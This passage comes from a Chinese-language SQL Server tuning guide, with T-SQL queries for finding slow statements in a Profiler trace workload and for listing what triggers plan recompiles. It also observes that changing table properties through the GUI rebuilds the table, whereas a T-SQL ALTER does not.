select convert(varchar(60),tsql_code),sum(duration) s,avg(duration) t from workload
where duration >=3000  --一般是执行时间在3秒以上的
group by convert(varchar(60),tsql_code)
order by s desc

5, 查询事件由哪些情形引发:
如查询执行计划重新编译由哪些引发:
SELECT e.name,v.subclass_name,v.subclass_value,tc.name,tc.[type_name]
FROM sys.trace_events e
JOIN sys.trace_subclass_values v ON e.trace_event_id = v.trace_event_id
JOIN sys.trace_columns tc ON v.trace_column_id = tc.trace_column_id
WHERE e.name = 'sp:recompile' --AND v.subclass_value < 100

6,使用:在图形界面上修改表的属性与通过tsql修改表的属性,如增加表字段长度,通过Profiler观察发现:
通过图形方式:是先转移全部数据到临时表,再删除表,然后重命名临时表为原来表名称,速度比较慢,而通过tsql发现只执行一条sql语句即可,故优先使用tsql